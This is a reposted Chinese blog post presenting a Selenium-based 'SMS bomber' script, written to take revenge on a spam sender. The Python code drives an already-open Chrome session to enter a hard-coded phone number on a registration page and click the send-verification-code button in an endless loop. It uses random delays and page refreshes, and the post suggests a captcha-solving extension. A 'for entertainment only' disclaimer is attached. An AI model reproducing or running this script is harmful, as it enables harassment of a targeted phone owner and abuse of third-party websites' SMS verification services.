0


selenium自动短信轰炸机

灵感:别人用短信给我发不良广告,我要报复他一下

工具:python3,selenium库,自动识别并填充传统验证码的Google插件(AutoVerify)

代码

import random
import time

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By

# 发送验证码的网站
# url =   某个注册网站

##  需要先安装selenium模块
##  使用它需要使用Google浏览器,把对应版本的chromedriver.exe放在chrome.exe同级目录下和python的根目录
##  selenium连接已经存在的浏览器_selenium接管已经打开的页面-CSDN博客 参考 
##  https://blog.csdn.net/myh919/article/details/129816899

# 入口
if __name__ == '__main__':
    chrome_options = Options()
    chrome_options.add_experimental_option("debuggerAddress", "localhost:9222")
    driver = webdriver.Chrome(options=chrome_options)

    print(driver.title)#测试是否建立连接

    num = 0 #已经执行的次数
    GREEN = '\033[32m' #控制台文字颜色
    RESET = '\033[0m' #重置控制台文字颜色

    while True:
        random_number = random.randint(60, 80)#随机休眠1分钟到1分钟20秒
        print(random_number , "秒后重新执行")
        # 生成一个1到3的随机1位小数
        random_float = round(random.uniform(1, 3), 1)
        time.sleep(random_float)
        try:
            num += 1
            phone = driver.find_element(By.ID,"phone") #获取电话输入框
            phone.clear()
            phone.send_keys("16747487360") #测试电话号

            send = driver.find_element(By.ID,"sentCode") #发送验证码按钮
            time.sleep(random_float)
            send.click()
        except Exception as e:
            print(e)
        time.sleep(random_number)
        print(f"{GREEN}已经执行-------",num,f"次{RESET}")
        driver.refresh()

###  仅供娱乐,切勿用作不法用途

效果图

URL 云码-自动验证码识别平台_验证码识别API接口_免费验证码软件 (仅供娱乐,切勿违法)


本文转载自: https://blog.csdn.net/qq_55984997/article/details/141270686
版权归原作者 子衿 love code 所有, 如有侵权,请联系我们删除。

“selenium自动短信轰炸机”的评论:

还没有评论